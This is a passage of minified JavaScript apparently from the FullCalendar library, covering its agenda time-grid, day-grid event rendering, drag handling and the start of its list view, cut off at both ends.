o.default(n[0],n[3]),e.isAllDay)},t.prototype.isSelectionFootprintAllowed=function(e){return this.component.dateProfile.validUnzonedRange.containsRange(e.unzonedRange)&&this.view.calendar.constraints.isSelectionFootprintAllowed(e)},t}(n(14).default);t.default=d},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(17),s=function(e){function t(t){var n=e.call(this,t)||this;return n.dragListener=n.buildDragListener(),n}return r.__extends(t,e),t.prototype.end=function(){this.dragListener.endInteraction()},t.prototype.bindToEl=function(e){var t=this.component,n=this.dragListener;t.bindDateHandlerToEl(e,"mousedown",(function(e){t.shouldIgnoreMouse()||n.startInteraction(e)})),t.bindDateHandlerToEl(e,"touchstart",(function(e){t.shouldIgnoreTouch()||n.startInteraction(e)}))},t.prototype.buildDragListener=function(){var e,t=this,n=this.component,r=new i.default(n,{scroll:this.opt("dragScroll"),interactionStart:function(){e=r.origHit},hitOver:function(t,n,r){n||(e=null)},hitOut:function(){e=null},interactionEnd:function(r,i){var s;!i&&e&&(s=n.getSafeHitFootprint(e))&&t.view.triggerDayClick(s,n.getHitEl(e),r)}});return r.shouldCancelTouchScroll=!1,r.scrollAlwaysKills=!0,r},t}(n(14).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r,i,s=n(2),a=n(0),o=n(3),d=n(4),u=n(41),l=n(43),c=n(239),h=n(66),m=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.usesMinMaxTime=!0,r.timeGrid=r.instantiateTimeGrid(),r.addChild(r.timeGrid),r.opt("allDaySlot")&&(r.dayGrid=r.instantiateDayGrid(),r.addChild(r.dayGrid)),r.scroller=new u.default({overflowX:"hidden",overflowY:"auto"}),r}return s.__extends(t,e),t.prototype.instantiateTimeGrid=function(){var e=new this.timeGridClass(this);return d.copyOwnProps(r,e),e},t.prototype.instantiateDayGrid=function(){var e=new this.dayGridClass(this);return d.copyOwnProps(i,e),e},t.prototype.renderSkeleton=function(){var e,t;this.el.addClass("fc-agenda-view").html(this.renderSkeletonHtml()),this.scroller.render(),e=this.scroller.el.addClass("fc-time-grid-container"),t=o('<div class="fc-time-grid">').appendTo(e),this.el.find(".fc-body > tr > td").append(e),this.timeGrid.headContainerEl=this.el.find(".fc-head-container"),this.timeGrid.setElement(t),this.dayGrid&&(this.dayGrid.setElement(this.el.find(".fc-day-grid")),this.dayGrid.bottomCoordPadding=this.dayGrid.el.next("hr").outerHeight())},t.prototype.unrenderSkeleton=function(){this.timeGrid.removeElement(),this.dayGrid&&this.dayGrid.removeElement(),this.scroller.destroy()},t.prototype.renderSkeletonHtml=function(){var e=this.calendar.theme;return'<table class="'+e.getClass("tableGrid")+'">'+(this.opt("columnHeader")?'<thead class="fc-head"><tr><td class="fc-head-container '+e.getClass("widgetHeader")+'">&nbsp;</td></tr></thead>':"")+'<tbody class="fc-body"><tr><td class="'+e.getClass("widgetContent")+'">'+(this.dayGrid?'<div class="fc-day-grid"></div><hr class="fc-divider '+e.getClass("widgetHeader")+'"></hr>':"")+"</td></tr></tbody></table>"},t.prototype.axisStyleAttr=function(){return null!=this.axisWidth?'style="width:'+this.axisWidth+'px"':""},t.prototype.getNowIndicatorUnit=function(){return this.timeGrid.getNowIndicatorUnit()},t.prototype.updateSize=function(t,n,r){var i,s,a;if(e.prototype.updateSize.call(this,t,n,r),this.axisWidth=d.matchCellWidths(this.el.find(".fc-axis")),this.timeGrid.colEls){var o=this.el.find(".fc-row:not(.fc-scroller *)");this.timeGrid.bottomRuleEl.hide(),this.scroller.clear(),d.uncompensateScroll(o),this.dayGrid&&(this.dayGrid.removeSegPopover(),(i=this.opt("eventLimit"))&&"number"!=typeof i&&(i=5),i&&this.dayGrid.limitRows(i)),n||(s=this.computeScrollerHeight(t),this.scroller.setHeight(s),((a=this.scroller.getScrollbarWidths()).left||a.right)&&(d.compensateScroll(o,a),s=this.computeScrollerHeight(t),this.scroller.setHeight(s)),this.scroller.lockOverflow(a),this.timeGrid.getTotalSlatHeight()<s&&this.timeGrid.bottomRuleEl.show())}else n||(s=this.computeScrollerHeight(t),this.scroller.setHeight(s))},t.prototype.computeScrollerHeight=function(e){return e-d.subtractInnerElHeight(this.el,this.scroller.el)},t.prototype.computeInitialDateScroll=function(){var e=a.duration(this.opt("scrollTime")),t=this.timeGrid.computeTimeTop(e);return(t=Math.ceil(t))&&t++,{top:t}},t.prototype.queryDateScroll=function(){return{top:this.scroller.getScrollTop()}},t.prototype.applyDateScroll=function(e){void 0!==e.top&&this.scroller.setScrollTop(e.top)},t.prototype.getHitFootprint=function(e){return e.component.getHitFootprint(e)},t.prototype.getHitEl=function(e){return e.component.getHitEl(e)},t.prototype.executeEventRender=function(e){var t,n,r={},i={};for(t in e)(n=e[t]).getEventDef().isAllDay()?r[t]=n:i[t]=n;this.timeGrid.executeEventRender(i),this.dayGrid&&this.dayGrid.executeEventRender(r)},t.prototype.renderDrag=function(e,t,n){var r=p(e),i=!1;return i=this.timeGrid.renderDrag(r.timed,t,n),this.dayGrid&&(i=this.dayGrid.renderDrag(r.allDay,t,n)||i),i},t.prototype.renderEventResize=function(e,t,n){var r=p(e);this.timeGrid.renderEventResize(r.timed,t,n),this.dayGrid&&this.dayGrid.renderEventResize(r.allDay,t,n)},t.prototype.renderSelectionFootprint=function(e){e.isAllDay?this.dayGrid&&this.dayGrid.renderSelectionFootprint(e):this.timeGrid.renderSelectionFootprint(e)},t}(l.default);function p(e){var t,n=[],r=[];for(t=0;t<e.length;t++)e[t].componentFootprint.isAllDay?n.push(e[t]):r.push(e[t]);return{allDay:n,timed:r}}t.default=m,m.prototype.timeGridClass=c.default,m.prototype.dayGridClass=h.default,r={renderHeadIntroHtml:function(){var e,t=this.view,n=t.calendar,r=n.msToUtcMoment(this.dateProfile.renderUnzonedRange.startMs,!0);return this.opt("weekNumbers")?(e=r.format(this.opt("smallWeekFormat")),'<th class="fc-axis fc-week-number '+n.theme.getClass("widgetHeader")+'" '+t.axisStyleAttr()+">"+t.buildGotoAnchorHtml({date:r,type:"week",forceOff:this.colCnt>1},d.htmlEscape(e))+"</th>"):'<th class="fc-axis '+n.theme.getClass("widgetHeader")+'" '+t.axisStyleAttr()+"></th>"},renderBgIntroHtml:function(){var e=this.view;return'<td class="fc-axis '+e.calendar.theme.getClass("widgetContent")+'" '+e.axisStyleAttr()+"></td>"},renderIntroHtml:function(){return'<td class="fc-axis" '+this.view.axisStyleAttr()+"></td>"}},i={renderBgIntroHtml:function(){var e=this.view;return'<td class="fc-axis '+e.calendar.theme.getClass("widgetContent")+'" '+e.axisStyleAttr()+"><span>"+e.getAllDayHtml()+"</span></td>"},renderIntroHtml:function(){return'<td class="fc-axis" '+this.view.axisStyleAttr()+"></td>"}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(0),a=n(4),o=n(42),d=n(61),u=n(65),l=n(60),c=n(58),h=n(5),m=n(12),p=n(240),f=n(241),_=n(242),y=[{hours:1},{minutes:30},{minutes:15},{seconds:30},{seconds:15}],g=function(e){function t(t){var n=e.call(this,t)||this;return n.processOptions(),n}return r.__extends(t,e),t.prototype.componentFootprintToSegs=function(e){var t,n=this.sliceRangeByTimes(e.unzonedRange);for(t=0;t<n.length;t++)this.isRTL?n[t].col=this.daysPerRow-1-n[t].dayIndex:n[t].col=n[t].dayIndex;return n},t.prototype.sliceRangeByTimes=function(e){var t,n,r=[];for(n=0;n<this.daysPerRow;n++)(t=e.intersect(this.dayRanges[n]))&&r.push({startMs:t.startMs,endMs:t.endMs,isStart:t.isStart,isEnd:t.isEnd,dayIndex:n});return r},t.prototype.processOptions=function(){var e,t=this.opt("slotDuration"),n=this.opt("snapDuration");t=s.duration(t),n=n?s.duration(n):t,this.slotDuration=t,this.snapDuration=n,this.snapsPerSlot=t/n,e=this.opt("slotLabelFormat"),i.isArray(e)&&(e=e[e.length-1]),this.labelFormat=e||this.opt("smallTimeFormat"),e=this.opt("slotLabelInterval"),this.labelInterval=e?s.duration(e):this.computeLabelInterval(t)},t.prototype.computeLabelInterval=function(e){var t,n,r;for(t=y.length-1;t>=0;t--)if(n=s.duration(y[t]),r=a.divideDurationByDuration(n,e),a.isInt(r)&&r>1)return n;return s.duration(e)},t.prototype.renderDates=function(e){this.dateProfile=e,this.updateDayTable(),this.renderSlats(),this.renderColumns()},t.prototype.unrenderDates=function(){this.unrenderColumns()},t.prototype.renderSkeleton=function(){var e=this.view.calendar.theme;this.el.html('<div class="fc-bg"></div><div class="fc-slats"></div><hr class="fc-divider '+e.getClass("widgetHeader")+'" style="display:none"></hr>'),this.bottomRuleEl=this.el.find("hr")},t.prototype.renderSlats=function(){var e=this.view.calendar.theme;this.slatContainerEl=this.el.find("> .fc-slats").html('<table class="'+e.getClass("tableGrid")+'">'+this.renderSlatRowHtml()+"</table>"),this.slatEls=this.slatContainerEl.find("tr"),this.slatCoordCache=new c.default({els:this.slatEls,isVertical:!0})},t.prototype.renderSlatRowHtml=function(){for(var e,t,n,r=this.view,i=r.calendar,o=i.theme,d=this.isRTL,u=this.dateProfile,l="",c=s.duration(+u.minTime),h=s.duration(0);c<u.maxTime;)e=i.msToUtcMoment(u.renderUnzonedRange.startMs).time(c),t=a.isInt(a.divideDurationByDuration(h,this.labelInterval)),n='<td class="fc-axis fc-time '+o.getClass("widgetContent")+'" '+r.axisStyleAttr()+">"+(t?"<span>"+a.htmlEscape(e.format(this.labelFormat))+"</span>":"")+"</td>",l+='<tr data-time="'+e.format("HH:mm:ss")+'"'+(t?"":' class="fc-minor"')+">"+(d?"":n)+'<td class="'+o.getClass("widgetContent")+'"></td>'+(d?n:"")+"</tr>",c.add(this.slotDuration),h.add(this.slotDuration);return l},t.prototype.renderColumns=function(){var e=this.dateProfile,t=this.view.calendar.theme;this.dayRanges=this.dayDates.map((function(t){return new h.default(t.clone().add(e.minTime),t.clone().add(e.maxTime))})),this.headContainerEl&&this.headContainerEl.html(this.renderHeadHtml()),this.el.find("> .fc-bg").html('<table class="'+t.getClass("tableGrid")+'">'+this.renderBgTrHtml(0)+"</table>"),this.colEls=this.el.find(".fc-day, .fc-disabled-day"),this.colCoordCache=new c.default({els:this.colEls,isHorizontal:!0}),this.renderContentSkeleton()},t.prototype.unrenderColumns=function(){this.unrenderContentSkeleton()},t.prototype.renderContentSkeleton=function(){var e,t,n="";for(e=0;e<this.colCnt;e++)n+='<td><div class="fc-content-col"><div class="fc-event-container fc-helper-container"></div><div class="fc-event-container"></div><div class="fc-highlight-container"></div><div class="fc-bgevent-container"></div><div class="fc-business-container"></div></div></td>';t=this.contentSkeletonEl=i('<div class="fc-content-skeleton"><table><tr>'+n+"</tr></table></div>"),this.colContainerEls=t.find(".fc-content-col"),this.helperContainerEls=t.find(".fc-helper-container"),this.fgContainerEls=t.find(".fc-event-container:not(.fc-helper-container)"),this.bgContainerEls=t.find(".fc-bgevent-container"),this.highlightContainerEls=t.find(".fc-highlight-container"),this.businessContainerEls=t.find(".fc-business-container"),this.bookendCells(t.find("tr")),this.el.append(t)},t.prototype.unrenderContentSkeleton=function(){this.contentSkeletonEl&&(this.contentSkeletonEl.remove(),this.contentSkeletonEl=null,this.colContainerEls=null,this.helperContainerEls=null,this.fgContainerEls=null,this.bgContainerEls=null,this.highlightContainerEls=null,this.businessContainerEls=null)},t.prototype.groupSegsByCol=function(e){var t,n=[];for(t=0;t<this.colCnt;t++)n.push([]);for(t=0;t<e.length;t++)n[e[t].col].push(e[t]);return n},t.prototype.attachSegsByCol=function(e,t){var n,r,i;for(n=0;n<this.colCnt;n++)for(r=e[n],i=0;i<r.length;i++)t.eq(n).append(r[i].el)},t.prototype.getNowIndicatorUnit=function(){return"minute"},t.prototype.renderNowIndicator=function(e){if(this.colContainerEls){var t,n=this.componentFootprintToSegs(new m.default(new h.default(e,e.valueOf()+1),!1)),r=this.computeDateTop(e,e),s=[];for(t=0;t<n.length;t++)s.push(i('<div class="fc-now-indicator fc-now-indicator-line"></div>').css("top",r).appendTo(this.colContainerEls.eq(n[t].col))[0]);n.length>0&&s.push(i('<div class="fc-now-indicator fc-now-indicator-arrow"></div>').css("top",r).appendTo(this.el.find(".fc-content-skeleton"))[0]),this.nowIndicatorEls=i(s)}},t.prototype.unrenderNowIndicator=function(){this.nowIndicatorEls&&(this.nowIndicatorEls.remove(),this.nowIndicatorEls=null)},t.prototype.updateSize=function(t,n,r){e.prototype.updateSize.call(this,t,n,r),this.slatCoordCache.build(),r&&this.updateSegVerticals([].concat(this.eventRenderer.getSegs(),this.businessSegs||[]))},t.prototype.getTotalSlatHeight=function(){return this.slatContainerEl.outerHeight()},t.prototype.computeDateTop=function(e,t){return this.computeTimeTop(s.duration(e-t.clone().stripTime()))},t.prototype.computeTimeTop=function(e){var t,n,r=this.slatEls.length,i=(e-this.dateProfile.minTime)/this.slotDuration;return i=Math.max(0,i),i=Math.min(r,i),t=Math.floor(i),n=i-(t=Math.min(t,r-1)),this.slatCoordCache.getTopPosition(t)+this.slatCoordCache.getHeight(t)*n},t.prototype.updateSegVerticals=function(e){this.computeSegVerticals(e),this.assignSegVerticals(e)},t.prototype.computeSegVerticals=function(e){var t,n,r,i=this.opt("agendaEventMinHeight");for(t=0;t<e.length;t++)n=e[t],r=this.dayDates[n.dayIndex],n.top=this.computeDateTop(n.startMs,r),n.bottom=Math.max(n.top+i,this.computeDateTop(n.endMs,r))},t.prototype.assignSegVerticals=function(e){var t,n;for(t=0;t<e.length;t++)(n=e[t]).el.css(this.generateSegVerticalCss(n))},t.prototype.generateSegVerticalCss=function(e){return{top:e.top,bottom:-e.bottom}},t.prototype.prepareHits=function(){this.colCoordCache.build(),this.slatCoordCache.build()},t.prototype.releaseHits=function(){this.colCoordCache.clear()},t.prototype.queryHit=function(e,t){var n=this.snapsPerSlot,r=this.colCoordCache,i=this.slatCoordCache;if(r.isLeftInBounds(e)&&i.isTopInBounds(t)){var s=r.getHorizontalIndex(e),a=i.getVerticalIndex(t);if(null!=s&&null!=a){var o=i.getTopOffset(a),d=i.getHeight(a),u=(t-o)/d,l=Math.floor(u*n),c=o+l/n*d,h=o+(l+1)/n*d;return{col:s,snap:a*n+l,component:this,left:r.getLeftOffset(s),right:r.getRightOffset(s),top:c,bottom:h}}}},t.prototype.getHitFootprint=function(e){var t,n=this.getCellDate(0,e.col),r=this.computeSnapTime(e.snap);return n.time(r),t=n.clone().add(this.snapDuration),new m.default(new h.default(n,t),!1)},t.prototype.computeSnapTime=function(e){return s.duration(this.dateProfile.minTime+this.snapDuration*e)},t.prototype.getHitEl=function(e){return this.colEls.eq(e.col)},t.prototype.renderDrag=function(e,t,n){var r;if(t){if(e.length)return this.helperRenderer.renderEventDraggingFootprints(e,t,n),!0}else for(r=0;r<e.length;r++)this.renderHighlight(e[r].componentFootprint)},t.prototype.unrenderDrag=function(){this.unrenderHighlight(),this.helperRenderer.unrender()},t.prototype.renderEventResize=function(e,t,n){this.helperRenderer.renderEventResizingFootprints(e,t,n)},t.prototype.unrenderEventResize=function(){this.helperRenderer.unrender()},t.prototype.renderSelectionFootprint=function(e){this.opt("selectHelper")?this.helperRenderer.renderComponentFootprint(e):this.renderHighlight(e)},t.prototype.unrenderSelection=function(){this.helperRenderer.unrender(),this.unrenderHighlight()},t}(o.default);t.default=g,g.prototype.eventRendererClass=p.default,g.prototype.businessHourRendererClass=d.default,g.prototype.helperRendererClass=f.default,g.prototype.fillRendererClass=_.default,u.default.mixInto(g),l.default.mixInto(g)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.timeGrid=t,r}return r.__extends(t,e),t.prototype.renderFgSegs=function(e){this.renderFgSegsIntoContainers(e,this.timeGrid.fgContainerEls)},t.prototype.renderFgSegsIntoContainers=function(e,t){var n,r;for(n=this.timeGrid.groupSegsByCol(e),r=0;r<this.timeGrid.colCnt;r++)this.updateFgSegCoords(n[r]);this.timeGrid.attachSegsByCol(n,t)},t.prototype.unrenderFgSegs=function(){this.fgSegs&&this.fgSegs.forEach((function(e){e.el.remove()}))},t.prototype.computeEventTimeFormat=function(){return this.opt("noMeridiemTimeFormat")},t.prototype.computeDisplayEventEnd=function(){return!0},t.prototype.fgSegHtml=function(e,t){var n,r,s,a=this.view,o=a.calendar,d=e.footprint.componentFootprint,u=d.isAllDay,l=e.footprint.eventDef,c=a.isEventDefDraggable(l),h=!t&&e.isStart&&a.isEventDefResizableFromStart(l),m=!t&&e.isEnd&&a.isEventDefResizableFromEnd(l),p=this.getSegClasses(e,c,h||m),f=i.cssToStr(this.getSkinCss(l));if(p.unshift("fc-time-grid-event","fc-v-event"),a.isMultiDayRange(d.unzonedRange)){if(e.isStart||e.isEnd){var _=o.msToMoment(e.startMs),y=o.msToMoment(e.endMs);n=this._getTimeText(_,y,u),r=this._getTimeText(_,y,u,"LT"),s=this._getTimeText(_,y,u,null,!1)}}else n=this.getTimeText(e.footprint),r=this.getTimeText(e.footprint,"LT"),s=this.getTimeText(e.footprint,null,!1);return'<a class="'+p.join(" ")+'"'+(l.url?' href="'+i.htmlEscape(l.url)+'"':"")+(f?' style="'+f+'"':"")+'><div class="fc-content">'+(n?'<div class="fc-time" data-start="'+i.htmlEscape(s)+'" data-full="'+i.htmlEscape(r)+'"><span>'+i.htmlEscape(n)+"</span></div>":"")+(l.title?'<div class="fc-title">'+i.htmlEscape(l.title)+"</div>":"")+'</div><div class="fc-bg"></div>'+(m?'<div class="fc-resizer fc-end-resizer"></div>':"")+"</a>"},t.prototype.updateFgSegCoords=function(e){this.timeGrid.computeSegVerticals(e),this.computeFgSegHorizontals(e),this.timeGrid.assignSegVerticals(e),this.assignFgSegHorizontals(e)},t.prototype.computeFgSegHorizontals=function(e){var t,n,r;if(this.sortEventSegs(e),function(e){var t,n,r,i,s;for(t=0;t<e.length;t++)for(n=e[t],r=0;r<n.length;r++)for((i=n[r]).forwardSegs=[],s=t+1;s<e.length;s++)o(i,e[s],i.forwardSegs)}(t=function(e){var t,n,r,i=[];for(t=0;t<e.length;t++){for(n=e[t],r=0;r<i.length&&o(n,i[r]).length;r++);n.level=r,(i[r]||(i[r]=[])).push(n)}return i}(e)),n=t[0]){for(r=0;r<n.length;r++)a(n[r]);for(r=0;r<n.length;r++)this.computeFgSegForwardBack(n[r],0,0)}},t.prototype.computeFgSegForwardBack=function(e,t,n){var r,i=e.forwardSegs;if(void 0===e.forwardCoord)for(i.length?(this.sortForwardSegs(i),this.computeFgSegForwardBack(i[0],t+1,n),e.forwardCoord=i[0].backwardCoord):e.forwardCoord=1,e.backwardCoord=e.forwardCoord-(e.forwardCoord-n)/(t+1),r=0;r<i.length;r++)this.computeFgSegForwardBack(i[r],0,e.forwardCoord)},t.prototype.sortForwardSegs=function(e){e.sort(i.proxy(this,"compareForwardSegs"))},t.prototype.compareForwardSegs=function(e,t){return t.forwardPressure-e.forwardPressure||(e.backwardCoord||0)-(t.backwardCoord||0)||this.compareEventSegs(e,t)},t.prototype.assignFgSegHorizontals=function(e){var t,n;for(t=0;t<e.length;t++)(n=e[t]).el.css(this.generateFgSegHorizontalCss(n)),n.footprint.eventDef.title&&n.bottom-n.top<30&&n.el.addClass("fc-short")},t.prototype.generateFgSegHorizontalCss=function(e){var t,n,r=this.opt("slotEventOverlap"),i=e.backwardCoord,s=e.forwardCoord,a=this.timeGrid.generateSegVerticalCss(e),o=this.timeGrid.isRTL;return r&&(s=Math.min(1,i+2*(s-i))),o?(t=1-s,n=i):(t=i,n=1-s),a.zIndex=e.level+1,a.left=100*t+"%",a.right=100*n+"%",r&&e.forwardPressure&&(a[o?"marginLeft":"marginRight"]=20),a},t}(n(44).default);function a(e){var t,n,r=e.forwardSegs,i=0;if(void 0===e.forwardPressure){for(t=0;t<r.length;t++)a(n=r[t]),i=Math.max(i,1+n.forwardPressure);e.forwardPressure=i}}function o(e,t,n){void 0===n&&(n=[]);for(var r=0;r<t.length;r++)i=e,s=t[r],i.bottom>s.top&&i.top<s.bottom&&n.push(t[r]);var i,s;return n}t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.renderSegs=function(e,t){var n,r,s,a=[];for(this.eventRenderer.renderFgSegsIntoContainers(e,this.component.helperContainerEls),n=0;n<e.length;n++)r=e[n],t&&t.col===r.col&&(s=t.el,r.el.css({left:s.css("left"),right:s.css("right"),"margin-left":s.css("margin-left"),"margin-right":s.css("margin-right")})),a.push(r.el[0]);return i(a)},t}(n(63).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.attachSegEls=function(e,t){var n,r=this.component;return"bgEvent"===e?n=r.bgContainerEls:"businessHours"===e?n=r.businessContainerEls:"highlight"===e&&(n=r.highlightContainerEls),r.updateSegVerticals(t),r.attachSegsByCol(r.groupSegsByCol(t),n),t.map((function(e){return e.el[0]}))},t}(n(62).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.dayGrid=t,r}return r.__extends(t,e),t.prototype.renderBgRanges=function(t){t=i.grep(t,(function(e){return e.eventDef.isAllDay()})),e.prototype.renderBgRanges.call(this,t)},t.prototype.renderFgSegs=function(e){var t=this.rowStructs=this.renderSegRows(e);this.dayGrid.rowEls.each((function(e,n){i(n).find(".fc-content-skeleton > table").append(t[e].tbodyEl)}))},t.prototype.unrenderFgSegs=function(){for(var e,t=this.rowStructs||[];e=t.pop();)e.tbodyEl.remove();this.rowStructs=null},t.prototype.renderSegRows=function(e){var t,n,r=[];for(t=this.groupSegRows(e),n=0;n<t.length;n++)r.push(this.renderSegRow(n,t[n]));return r},t.prototype.renderSegRow=function(e,t){var n,r,s,a,o,d,u,l=this.dayGrid.colCnt,c=this.buildSegLevels(t),h=Math.max(1,c.length),m=i("<tbody>"),p=[],f=[],_=[];function y(e){for(;s<e;)(u=(_[n-1]||[])[s])?u.attr("rowspan",parseInt(u.attr("rowspan")||1,10)+1):(u=i("<td>"),a.append(u)),f[n][s]=u,_[n][s]=u,s++}for(n=0;n<h;n++){if(r=c[n],s=0,a=i("<tr>"),p.push([]),f.push([]),_.push([]),r)for(o=0;o<r.length;o++){for(y((d=r[o]).leftCol),u=i('<td class="fc-event-container">').append(d.el),d.leftCol!==d.rightCol?u.attr("colspan",d.rightCol-d.leftCol+1):_[n][s]=u;s<=d.rightCol;)f[n][s]=u,p[n][s]=d,s++;a.append(u)}y(l),this.dayGrid.bookendCells(a),m.append(a)}return{row:e,tbodyEl:m,cellMatrix:f,segMatrix:p,segLevels:c,segs:t}},t.prototype.buildSegLevels=function(e){var t,n,r,i=[];for(this.sortEventSegs(e),t=0;t<e.length;t++){for(n=e[t],r=0;r<i.length&&o(n,i[r]);r++);n.level=r,(i[r]||(i[r]=[])).push(n)}for(r=0;r<i.length;r++)i[r].sort(d);return i},t.prototype.groupSegRows=function(e){var t,n=[];for(t=0;t<this.dayGrid.rowCnt;t++)n.push([]);for(t=0;t<e.length;t++)n[e[t].row].push(e[t]);return n},t.prototype.computeEventTimeFormat=function(){return this.opt("extraSmallTimeFormat")},t.prototype.computeDisplayEventEnd=function(){return 1===this.dayGrid.colCnt},t.prototype.fgSegHtml=function(e,t){var n,r,i=this.view,a=e.footprint.eventDef,o=e.footprint.componentFootprint.isAllDay,d=i.isEventDefDraggable(a),u=!t&&o&&e.isStart&&i.isEventDefResizableFromStart(a),l=!t&&o&&e.isEnd&&i.isEventDefResizableFromEnd(a),c=this.getSegClasses(e,d,u||l),h=s.cssToStr(this.getSkinCss(a)),m="";return c.unshift("fc-day-grid-event","fc-h-event"),e.isStart&&(n=this.getTimeText(e.footprint))&&(m='<span class="fc-time">'+s.htmlEscape(n)+"</span>"),r='<span class="fc-title">'+(s.htmlEscape(a.title||"")||"&nbsp;")+"</span>",'<a class="'+c.join(" ")+'"'+(a.url?' href="'+s.htmlEscape(a.url)+'"':"")+(h?' style="'+h+'"':"")+'><div class="fc-content">'+(this.dayGrid.isRTL?r+" "+m:m+" "+r)+"</div>"+(u?'<div class="fc-resizer fc-start-resizer"></div>':"")+(l?'<div class="fc-resizer fc-end-resizer"></div>':"")+"</a>"},t}(n(44).default);function o(e,t){var n,r;for(n=0;n<t.length;n++)if((r=t[n]).leftCol<=e.rightCol&&r.rightCol>=e.leftCol)return!0;return!1}function d(e,t){return e.leftCol-t.leftCol}t.default=a},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.renderSegs=function(e,t){var n,r=[];return n=this.eventRenderer.renderSegRows(e),this.component.rowEls.each((function(e,s){var a,o,d=i(s),u=i('<div class="fc-helper-skeleton"><table></table></div>');t&&t.row===e?o=t.el.position().top:((a=d.find(".fc-content-skeleton tbody")).length||(a=d.find(".fc-content-skeleton table")),o=a.position().top),u.css("top",o).find("table").append(n[e].tbodyEl),d.append(u),r.push(u[0])})),i(r)},t}(n(63).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.fillSegTag="td",t}return r.__extends(t,e),t.prototype.attachSegEls=function(e,t){var n,r,i,s=[];for(n=0;n<t.length;n++)r=t[n],i=this.renderFillRow(e,r),this.component.rowEls.eq(r.row).append(i),s.push(i[0]);return s},t.prototype.renderFillRow=function(e,t){var n,r,s,a=this.component.colCnt,o=t.leftCol,d=t.rightCol+1;return n="businessHours"===e?"bgevent":e.toLowerCase(),s=(r=i('<div class="fc-'+n+'-skeleton"><table><tr></tr></table></div>')).find("tr"),o>0&&s.append(new Array(o+1).join("<td></td>")),s.append(t.el.attr("colspan",d-o)),d<a&&s.append(new Array(a-d+1).join("<td></td>")),this.component.bookendCells(s),r},t}(n(62).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(0),s=n(4),a=n(67),o=n(247),d=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.setGridHeight=function(e,t){t&&(e*=this.dayGrid.rowCnt/6),s.distributeHeight(this.dayGrid.rowEls,e,!t)},t.prototype.isDateInOtherMonth=function(e,t){return e.month()!==i.utc(t.currentUnzonedRange.startMs).month()},t}(a.default);t.default=d,d.prototype.dateProfileGeneratorClass=o.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(68),s=n(5),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.buildRenderRange=function(t,n,r){var i,a=e.prototype.buildRenderRange.call(this,t,n,r),o=this.msToUtcMoment(a.startMs,r),d=this.msToUtcMoment(a.endMs,r);return this.opt("fixedWeekCount")&&(i=Math.ceil(d.diff(o,"weeks",!0)),d.add(6-i,"weeks")),new s.default(o,d)},t}(i.default);t.default=a},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(5),o=n(43),d=n(41),u=n(249),l=n(250),c=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.segSelector=".fc-list-item",r.scroller=new d.default({overflowX:"hidden",overflowY:"auto"}),r}return r.__extends(t,e),t.prototype.renderSkeleton=function(){this.el.addClass("fc-list-view "+this.calendar.theme.getClass("listView")),this.scroller.render(),this.scroller.el.appendTo(this.el),this.contentEl=this.scroller.scrollEl},t.prototype.unrenderSkeleton=function(){this.scroller.destroy()},t.prototype.updateSize=function(t,n,r){e.prototype.updateSize.call(this,t,n,r),this.scroller.clear(),n||this.scroller.setHeight(this.computeScrollerHeight(t))},t.prototype.computeScrollerHeight=function(e){return e-s.subtractInnerElHeight(this.el,this.scroller.el)},t.prototype.renderDates=function(e){for(var t=this.calendar,n=t.msToUtcMoment(e.renderUnzonedRange.startMs,!0),r=t.msToUtcMoment(e.renderUnzonedRange.endMs,!0),i=[],s=[];n<r;)i.push(n.clone()),s.push(new a.default(n,n.clone().add(1,"day"))),n.add(1,"day");this.dayDates=i,this.dayRanges=s},t.prototype.componentFootprintToSegs=function(e){var t,n,r,i=this.dayRanges,s=[];for(t=0;t<i.length;t++)if((n=e.unzonedRange.intersect(i[t]))&&(r={startMs:n.startMs,endMs:n.endMs,isStart:n.isStart,isEnd:n.isEnd,dayIndex:t},s.push(r),!r.isEnd&&!e.isAllDay&&t+1<i.length&&e.unzonedRange.endMs<i[t+1].startMs+this.nextDayThreshold)){r.endMs=e.unzonedRange.endMs,r.isEnd=!0;break}return s},t.prototype.renderEmptyMessage=function(){this.contentEl.html('<div class="fc-list-empty-wrap2"><div class="fc-list-empty-wrap1"><div class="fc-list-empty">'+s.htmlEscape(this.opt("noEventsMessage"))+"</div></div></div>")},t.prototype.renderSegList=function(e){var t,n,r,s=this.groupSegsByDay(e),a=i('<table class="fc-list-table '+this.calendar.theme.getClass("tableList")+'"><tbody></tbody></table>'),o=a.find("tbody");for(t=0;t<s.length;t++)if(n=s[t])for(o.append(this.dayHeaderHtml(this.dayDates[t])),this.eventRenderer.sortEventSegs(n),r=0;r<n.length;r++)o.append(n[r].el);this.contentEl.empty().append(a)},t.prototype.groupSegsByDay=function(e){var t,n,r=[];for(t=0;t<e.length;t++)(r[(n=e[t]).dayIndex]||(r[n.dayIndex]=[])).push(n);return r},t.prototype.dayHeaderHtml=function(e){var 